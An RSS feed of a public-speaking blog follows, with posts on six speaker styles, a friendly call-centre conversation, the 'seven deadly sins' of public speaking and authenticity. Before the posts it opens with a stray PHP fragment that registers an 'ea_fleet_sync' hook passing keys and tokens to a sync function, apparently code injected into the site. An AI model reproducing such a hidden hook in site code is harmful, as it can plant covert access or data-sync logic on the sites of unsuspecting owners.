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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Authenticity Archives - Now you're talking https://www.nowyouretalking.co.uk/tag/authenticity/ Public speaking Sun, 20 Aug 2023 11:50:57 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 What’s your speaker style? https://www.nowyouretalking.co.uk/2023/08/20/whats-your-speaker-style/ Sun, 20 Aug 2023 11:41:56 +0000 https://www.nowyouretalking.co.uk/?p=1526 ‘Always be a first-rate version of yourself, instead of a second-rate version of somebody else’ Judy Garland Our speaker style impacts how we appear in front of an audience, how they perceive us, their ability to connect with us and, ultimately,…

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]]>

‘Always be a first-rate version of yourself, instead of a second-rate version of somebody else’

Judy Garland

Our speaker style impacts how we appear in front of an audience, how they perceive us, their ability to connect with us and, ultimately, how they value our talks and presentations. Ideally, our core values and beliefs will remain in place, irrespective of occasion, but specific speaking situations determine the style we choose to adopt, both in terms of the supporting evidence we provide and how we behave during that time.

I tend to think in terms of six styles – Showcaser, Enthuser, Entertainer, PowerPointer, FactGiver and Changemaker.

Lyn Roseaman giving a TEDxTalk at TEDxLewisham

For example, when you’re speaking to a technical audience, they are likely to value more data-driven content, while members of a TED audience will tend to prefer more experiential personal stories and emotive arguments. If you are presenting to your board of directors, a strong air of gravitas and robust arguments will be appropriate, compared with, say, the more entertaining tone of a special occasion speech.

Some styles are more about information and evidence, while others draw more heavily on storytelling and emotional connections. Either way, giving your audience something of value is what should drive your style selection. These styles are not absolute. They are fluid, so you can easily introduce storytelling and emotive material to a data-driven presentation, and add more facts and figures to an experiential piece.

The following styles are designed to indicate ways of presenting that might be appropriate in different speaking situations, with suggestions for optimising their effectiveness. They are about adapting what you’re doing and how you’re doing it, not about changing your authentic self.

The Showcaser speaker style

The Showcaser style aims to challenge an audience’s thinking and make an impression by sharing the speaker’s successes and achievements. If the speaker can do it, so can you – and they’re going to show you how.

As presenters, they tend to be professional, charismatic, confident, well-prepared and engaging. This style may be useful in a sales scenario and might well be adopted by motivational speakers.

However, there is a fine line between delivering value for your listeners, and coming across as a staged, perhaps inauthentic, performance, with a feeling that the audience promise may not be all it claims. If you feel a Showcaser style becoming too ‘staged’, try shifting your focus more towards the Changemaker style, developing a more altruistic and philanthropic angle to increase the value you give. Ensure your stories are audience focused and deliver a clear and relevant message.

The Enthuser style

An enthusiastic and passionate speaker style with so much to share.

Enthusiastic, effusive, authentically and emotionally open to sharing their experiences, this style can be highly desirable in entertaining contexts, such as celebrations, including weddings, civil partnerships, anniversaries, toasts and tributes.

While this style often belies a laudable intention, coming from a desire to share, the enthusiasm can hijack the content of the speech, overlooking a clear message and easy-to-follow structure. This can come across as out of control, as if everything you know on the topic or person is pouring or gushing out of you at high speed.

Effusiveness can be a result of inexperience and/or a lack of audience focus. It’s crucial to be clear on the message for your listeners and to focus on stripping back the amount of content.

The Entertainer

An easy-going and relaxed speaking style, with a sense of fun and humour.

Confident, likeable, authentic and engaging, with strong storytelling skills make it ideal for after-dinner speeches, toasts, tributes, special occasions and celebrations. The ability to bring humour and entertain make a little of this style a useful addition to almost any speaking situation, including a eulogy.

Humour is an integral part of this speaking style, one that is natural and gentle emanating from your personal sense of humour rather than engineered for laughs. Your Entertainer style will probably contain a message, but it should be implicit in the stories and structure, rather than through an explicit call to action.

The PowerPointer style

The PowerPointer style leans heavily on slides as the key to sharing valuable information.

PowerPointer speaker style

Organised, informative, prepared and thorough, this style suits technical or specialist presentations and lectures designed primarily to inform and educate.

Unfortunately, this style often yields slides that are overly detailed and contain unfiltered information at the expense of a clear message. One sign is a reflex reaction to start producing slides almost as soon as you’re invited to speak. Too much detail can leave an audience feeling spoken at, rather than guided meaningfully through the information.

Speakers who depend on their slides as a crutch often feel a need for control, compared with those who introduce a few slides, videos or even props to enrich their message. If you give a lot of talks in this style, check the clarity of your message and associated content and reflect on whether fewer slides/less detail would bring greater value to your listeners.

The FactGiver speaker style

The FactGiver style has data at its core – a fount of all knowledge to inform almost any issue or situation. FactGivers are keen to share reliable and useful evidence, which they assemble conscientiously to offer what they think will be of value to their audience.

Speakers adopting this style seek to be genuinely informative, believing in the value of data and facts, which they share with commitment and enthusiasm, especially useful in company presentations, including project updates, results, board reports and other meetings where there is a need for gravitas and confidence.

The FactGiver style can give the impression that you and your data are one and the same, so that your data become your voice. This style usually sees an absence of (personal) storytelling and other means of emotional appeal and engagement.

As such, using this style, you are less likely to influence how an audience thinks, feels or acts as a result of hearing your speech. This can leave them feeling unsatisfied and hungry for something that goes a little deeper in terms of touching their emotions.

The Changemaker

The Changemaker speaker style focuses on understanding the audience, bringing people together and delivering value and/or change.

Presenters adopting this style tend to be confident, authentic, trustworthy, engaging, memorable, persuasive, inspirational and accomplished storytellers.

Lyn Roseaman giving a TEDxTalk at TEDxLewisham 2023

This style is effective in any situation where you need to persuade or inspire an audience. It’s often adopted in the political arena, motivational speaking, keynotes, job interviews, fundraising, sales and pitches.

It’s important to ensure your stories are firmly anchored to illustrating your message, rather than replacing it. If you find yourself linking a number of stories together without a clear message, your speech will probably be entertaining, but will leave your audience wondering what you want them to take away.

Speaking styles are fluid in terms of how much of each style you bring to your talk or presentation to best meet your audience’s needs. They are also necessarily fluid insofar as the fast pace of change can render the effectiveness of a particular style quite ephemeral. For instance, it wasn’t so long ago that storytelling was for children at bedtime; now it’s an essential part of so much speaking. Whether technology, knowledge of how we connect or the nature of desirable content, speakers need to stay current with what works best for their audiences.

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]]> Be kind – ditch the script & start a conversation https://www.nowyouretalking.co.uk/2020/11/01/start-a-conversation/ Sun, 01 Nov 2020 17:49:43 +0000 https://www.nowyouretalking.co.uk/?p=1322 How are you feeling about the month ahead? I woke up this morning feeling pretty low and under the weather, though I’m pleased to say I haven’t caught the virus! The grey miserable view outside did little to help chase…

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]]> How are you feeling about the month ahead? I woke up this morning feeling pretty low and under the weather, though I’m pleased to say I haven’t caught the virus! The grey miserable view outside did little to help chase away the blues and start a conversation.

 

Knowing that I probably shouldn’t, I decided to call my phone provider and do something about my phone contract that’s about to expire. I dread these calls. You never know whether you’re going to get someone who knows how to start a conversation and tell stories or whether you’re going to get someone reading a sales script.

 

First up, I got the script reader. After three failed attempts at my name, I said I’d called in error and hung up.

 

Take 2. I got through to a delightful man called Gary in Northern Ireland. He called me Lyn. His tone was that of a mate. Warm, friendly, fun. Here was a man who knew how to start a conversation. 2 people start a conversation

 

He was totally relatable and understood how people might be feeling, “People sometimes feel rude and grumpy, but I know it’s not personal; and so many people are worried about money. I’ve switched all our phones to sim-only for now so we have more money for Christmas.”

 

When discussing products, he brought his own experiences into the conversation and the reasons for his choices. I felt as if I was getting recommendations from a trusted friend; not a trace of ‘sales’. He did all my research for me, looking up the specs of candidate phones. He was quite happy for me to explore sim-only arrangements as opposed to phone upgrades.

 

His kindness and understanding even led to him sharing a story about how he helped an older woman who was afraid to go out and needed some help with her property – nothing to do with comms. “She was scared. I just got her address and called her local council so they could go and help her. It was just a phone call.” Such kindness.

 

I could feel my spirits start to lift. We traded stories, vulnerabilities, feelings and fears of our time. He told me all about the dog he’s just rescued. We had a little rant about politics here and across the pond, all sprinkled with laughter, openness and we got the business done.


We agreed what I should buy for now and he gave me a discount.

 

Then he suggested when I should call back to review my decision. I panicked. What if I got another script reader. I shared my concern. “I know what you mean,” he said and joked, “As an Irishman, I love to talk. Imagine getting paid for it!” He offered to keep my account open and call me back in three months. Phew! I felt relieved and in safe hands.

 

It literally pays to be kind. And what value do you put on the emotional experience of such a conversation? As we brought the call to a close, Gary said “This has been the most enjoyable call I’ve had since I joined the company four years ago.” I replied, “I was feeling pretty miserable when we first started talking and now I feel so much happier. Thank you, Gary, it’s been a real pleasure.”

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]]> Deadly sin stumbles or spectacular speaking successes? https://www.nowyouretalking.co.uk/2018/10/05/deadly-sin-versus-spectacular-speaking/ Fri, 05 Oct 2018 20:16:01 +0000 https://www.nowyouretalking.co.uk/?p=660 Are you a deadly sinner? One deadly sin of public speaking can wreck your best efforts to give a successful speech, never mind seven deadly sins: Do you ever feel as if your nerves might get the better of you?…

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]]> Are you a deadly sinner? One deadly sin of public speaking can wreck your best efforts to give a successful speech, never mind seven deadly sins:

  • Do you ever feel as if your nerves might get the better of you?
  • Are you guilty of ‘infobesity’?
  • Do you tend to overrun your allotted time?
  • Are you someone who never has enough time to prepare?
  • Do you wish you could speak as well as someone else?
  • Do you find yourself apologising if you make a mistake
  • Is the spotlight all about you?

As a speaker, it is too easy to commit a deadly sin when talking to an audience. Prompted by the seven deadly sins, here’s my take on seven behaviours we should try to eradicate from our public speaking and presentations and steps we can take to do so.

I’m so nervous – the deadly sin of Lust

Deadly sin_LustLust may manifest itself as approval seeking. Such speakers desire success, they want their audience to love them and may even criticise other speakers, exaggerate their own abilities and encourage hero worship from their listeners.

The problem with this deadly sin is that it tends to result in feeling really nervous. With the desire for success comes the fear of failure. Fear and nerves are very likely to sabotage the very thing you desire.

By imposing so much pressure on yourself, it’s no wonder that Jerry Seinfeld was able to observe that “to the average person, if you go to a funeral, you’re better off in the casket than doing the eulogy”.

And if we accept the words of Mark Twain that “There are two types of speakers: those that are nervous and those that are liars”, then we probably all have a bit of lust lurking within us.

What can you do about your nerves?

Try thinking about nerves simply, as adrenaline. Adrenaline can either work with you as positive energy that you want to share with your audience or as negative anxiety that can make your brain freeze and overwhelm you with fear. Ask yourself why you are really speaking. Is it to satisfy your deadly sin of ‘lustful’ desires or because you have something to say that is important to you and of value to your audience. The second perspective will help you befriend your nerves

Infobesity – the deadly sin of Gluttony

deadly sin of gluttony - InfobesityGluttony or ‘infobesity’ tends to manifest itself in speakers saying too much and often brings with it an unintended side effect of speaking too fast.

Saying too much

When you know a lot about something or you’re really passionate about a subject, it is tempting to want to share everything you know with your audience. But think about how long it has taken you to develop your enthusiasm and accumulate all your knowledge … Months? Years? Now compare that with the length of your speech … 10 minutes, 30 minutes, 1 hour?  You cannot realistically hope to share with an audience everything you know about a subject in such a short space of time and expect them to take it all in. It’s just too much information!

What can you do about saying too much?

The speaker’s responsibility is to define a clear goal or message and only include information that serves that purpose.  If it doesn’t support your message, remove it.

Develop a mantra – Less is Always More!

Speaking too fast

An unfortunate bi-product of having too much to say and being nervous is that we tend to gabble and speak far too quickly. We forget to breathe. We’re afraid of silence. Public speaking is not a conversation with a few mates. While a conversational style can be very appealing, giving a successful speech needs us to slow down and speak clearly.

What can you do about speaking too fast?

Slow down!

As a rough guide, I, personally, aim for about 90-100 words a minute.  There seems to be little agreement about average numbers of words per minute in conversation, but the range is generally around 130 to about 225 words per minute. We have the ability to listen at a faster rate than we can speak – some say 500-600 words per minute – but can you really absorb what is being said at that rate … and would you want to?

By slowing down, you achieve three important goals:

  • You have time to draw breath and pause. This helps you relax as a speaker and gives your audience to consider their own experience of what you are saying
  • It gives your audience time to absorb and reflect on the meaning of your words
  • You have time to strengthen the delivery of your message with powerful body language and interesting vocal variety.

Time theft – the deadly sin of Greed

Time theft_Deadly sin of greedAs a speaker, you have an allotted speaking time.  You have a responsibility to stick to your allocated time.  Overrunning is a deadly sin. It’s disrespectful to other speakers, the organisers of the event and your audience who may switch off when you talk for too long or leave the room because they have somewhere else to be.

As listeners, our attention spans are short. Some say as little as 8 seconds, less than a goldfish! While the numbers may be exaggerated, our ability to stay focused and absorb information is limited.  This is why speakers need to say less and deliver with dynamism, contrast and colour to make what you have to say interesting and memorable.

What can you do about time theft?

Manage your infobesity – remember your mantra: Less is Always More.

Be clear about why you are giving the speech and your message. Strip out all information that doesn’t directly support your message.

Have you ever heard anyone complain about a speech being too short? Prepare less content than you think you need. For instance, if you have a 15-minute speaking slot, prepare 10-12 minutes at most. Once in front of an audience, your delivery is likely to be slower and you also need to allow time for audience reactions, such as laughter.

Then practise your speech, out loud, with a timer to gauge the length. If you overrun, edit and make some cuts or add some powerful pauses to your delivery so that you keep to your allotted time, with time to spare!

Failing to prepare – the deadly sin of Sloth

Sloth or laziness is failing to prepare and rehearse, as well as failing to learn and improve.

I cringe every time I hear someone say they are ‘winging it’.  Almost invariably, the speech is disappointing. In the words of Benjamin Franklin “By failing to prepare, you are preparing to fail.” When you do this, you let down yourself and your audience.

When you practise your speech, invite feedback from your colleagues and friends. When you deliver your speech, invite feedback from your audience. These are all great opportunities to improve your speech and develop your speaking skills.

What can you do to prepare?

Failing to prepare_deadly sin of slothOur mantra is practise, practise, practise!

“But I don’t have time”, I hear you cry. Such excuses might be considered a deadly sin in their ow right! In my experience, you can usually make time, but you need to be smart about it. For instance, when you are walking to catch a bus or a train or standing in a queue, practise your opening and close. Grab a coffee with a friend or colleague and try out a couple of paragraphs on them. Practise in the shower. Practise while you’re hoovering, walking the dog or out shopping. The opportunities are endless. Find the ones that work for you.

You need to practise what you want to say (content), how you say it (word selection, body language, vocal variety) and ensuring your message is clear and memorable.  In this way, not only do you deserve the opportunity to speak, but you also show respect for your audience as the people on the receiving end. Remember, every speech you give is also a learning opportunity to help you become a better speaker.

Losing control – the deadly sin of Wrath

Outright wrath or anger is, fortunately, rare in public speakers, unless you find yourself listening to the likes of Basil Fawlty! However, instances of the deadly sin of anger can show up in a number of unwanted ways.

Perhaps the most common presentation of ‘anger’ is an apology. It is not uncommon for speakers to say sorry if they make a mistake or forget to say something; mistakes or omissions that your audience probably only noticed because you drew attention to them by apologising.

Some speakers can feel irritated and unsettled if their audience isn’t behaving exactly as they expected, eg audience members whispering to a neighbour, doing something on their phone, etc. They may also be upset with the organiser if there is an equipment malfunction.

What can you do to keep calm?

Losing control_Deadly sin of wrathRemember why you’re giving a speech – because you have something to say that is important to you and of value to your audience. It is not a memory test, so don’t worry about saying something differently from the way you practised it. No one knows except you!

Don’t let technical malfunctions annoy you and waste your precious speaking energy. These things happen. By making sure you are well prepared, know your material and have rehearsed, you should be able to deliver a compelling and engaging speech without technical support. What’s more, you will have the sympathy of your audience and the gratitude of the event organisers.

If a few members of your audience seem a little distracted, remember you don’t know what they’re doing and there’s nothing you can do about it anyway. Getting angry is no good for you or your audience. Be patient and understanding. They might be saying they totally agree with you or tweeting about what a wonderful speech they’re listening to! Focus instead on the engaged members of your audience. The others will come back when they’re ready.

I wish I could speak like that – the deadly sin of Envy

Envy is the desire to be like someone else, to have the speaking skills of someone else, like, Alex Polizzi, Barak Obama or Jeanette Winterson. This deadly sin can make us come across as unduly deferential, which can convey deceit.

What we need to do is be ourselves. As Judy Garland advised “Always be a first-rate version of yourself, instead of a second-rate version of somebody else.”

As speakers, envy can be a calamity. You need to recognise the importance of being yourself, being authentic in everything you say, the way you say it, your body language, voice, etc. If you cannot communicate authentically, audiences will know. They see the deceit and then they don’t feel comfortable, they don’t trust you.

But it goes beyond trust, you need to be authentic if you are to create powerful connections with your audience. For it is those connections that make your speeches enjoyable and memorable. It is those connections that allow your speech to touch people’s hearts and minds and have an impact on them.

What can you do to be authentic?

First and foremost, be yourself. It is you, after all, that people have come to hear. They want to know a little about you, they want to connect with you. Think about the qualities and characteristics that make you feel good about someone. To get this across in your speech, try telling relevant personal stories and anecdotes, use appropriate self-deprecating humour and don’t be afraid to show your vulnerable side.

Me, Myself and I – the deadly sin of Pride

Me, myself & I_Deadly sin of pridePride is excessive belief in your own abilities, ideas and opinions; you might also call it ‘arrogance’. Such speakers love the sound of their own voice, their own message or point of view. Because of this, they tend to speak for their own validation and they generally fail to connect with the needs and interests of their audience.

Pride may well be the most heinous public speaking deadly sin, rearing its ugly head in all the previous sins. Furthermore, focussing on ‘Me, Myself and I’ puts a huge amount of pressure on you every time you step in front of an audience. The spotlight is on you and you have to get it right. No wonder we feel nervous.

Pride will encourage infobesity, overloading your speeches with content, maybe even ‘bulldozing’ your audience and overrunning your time allocation. Pride will probably persuade you that you don’t need to prepare or practise and make you spiral out of control, all wrapped up in your own little world.

The best speakers want to share something of value with their audience, something that they care about and that will benefit their audience.  An audience always wants to know “What’s in it for me?”  A good speaker will show their audience the answer in everything they say and do on stage.  They understand that speaking is about knowing and connecting with an audience.

What can you do to banish pride?

Make your audience your focus because your speech must always be about them and never about you. By agreeing to speak, you are also taking on a responsibility to find out about your audience. You need to learn what they already know about your subject or point of view, how do they behave, what is their experience, how homogenous or polarised is the group, what will they think of your message, what’s the best way to talk to them and so on. In short, know your audience!

Imagine yourself sitting in that audience. How would you feel experiencing your speech?  Is it new information? Is it clearly structured and signposted? Do you feel comfortable? Is the delivery interesting and engaging?

Your mantra should be the audience asking “What’s in it for me?” Crucially, your job is to prepare, practise and deliver a speech that shows them.

By banishing the seven deadly sins banished from your public speaking life, you can look forward to making clear, connected and memorable speeches, which will be enjoyed by both you and your audience … not a deadly sin in the room!

 

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]]> Authenticity is key – Envy, the sixth deadly sin https://www.nowyouretalking.co.uk/2018/09/16/authenticity-not-envy-sixth-deadly-sin/ Sun, 16 Sep 2018 15:36:28 +0000 https://www.nowyouretalking.co.uk/?p=650 The deadly sins of public speaking can completely wreck your best efforts to give a good speech. I think it’s important to be aware of them so that we can eradicate them from our speaking. Envy, or wishing you could…

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]]> The deadly sins of public speaking can completely wreck your best efforts to give a good speech. I think it’s important to be aware of them so that we can eradicate them from our speaking. Envy, or wishing you could speak like other people, undermines your authenticity and is the sixth deadly sin in my series.

I wish I could speak like that – the destruction of authenticity

Envy is the desire to be like someone else, to have the speaking skills of someone else, like, for instance, Alex Polizzi, Barak Obama, Jeanette Winterson or Stephen Fry. Envy can make us come across as unduly deferential to that speaker we want to be and this can convey deceit.

What we need to do is be ourselves. As Judy Garland advised “Always be a first-rate version of yourself, instead of a second-rate version of somebody else.”

As speakers, envy can be a calamity. You need to recognise the importance of being yourself, being authentic in everything you say, the way you say it, your body language, voice, etc. If you cannot communicate authentically, audiences will know. They see the deceit and then they don’t feel comfortable, they don’t trust you.

But it goes beyond trust, you need to be authentic if you are to create powerful connections with your audience. For it is those connections that make your speeches enjoyable and memorable. It is those connections that allow your speech to touch people’s hearts and minds and have an impact on them.

Lyn Roseaman

Lyn Roseaman by Robert Taylor Photography

What can you do to be authentic?

First and foremost, be yourself. Because it is, after all, you that people have come to hear. They want to know a little about you, they want to connect with you. Think about the qualities and characteristics that make you feel good about someone. To get this across in your speech, try telling relevant personal stories and anecdotes, use appropriate self-deprecating humour and don’t be afraid to show your vulnerable side.

After your speech, always invite feedback from your audience so that you can learn how they felt about your speech and any refinements that might enhance your skills further. And, of course, don’t forget to practise.

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